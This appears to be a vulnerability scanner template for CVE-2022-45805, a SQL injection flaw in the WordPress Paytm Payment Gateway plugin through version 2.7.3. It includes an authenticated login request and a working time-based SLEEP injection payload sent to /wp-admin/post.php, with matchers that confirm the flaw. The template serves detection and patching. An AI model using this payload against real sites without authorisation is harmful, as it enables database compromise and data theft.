WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection

id: CVE-2022-45805

info:
  name: WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: Update to version 2.7.7 or a newer patched version.
  reference:
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability
    - https://wordpress.org/plugins/paytm-payments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45805
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45805
    cwe-id: CWE-89
    epss-score: 0.02327
    epss-percentile: 0.83651
    cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: paytm
    product: payment_gateway
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,paytm-payments,authenticated,paytm,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_2, "toplevel_page_paytm")'
        condition: and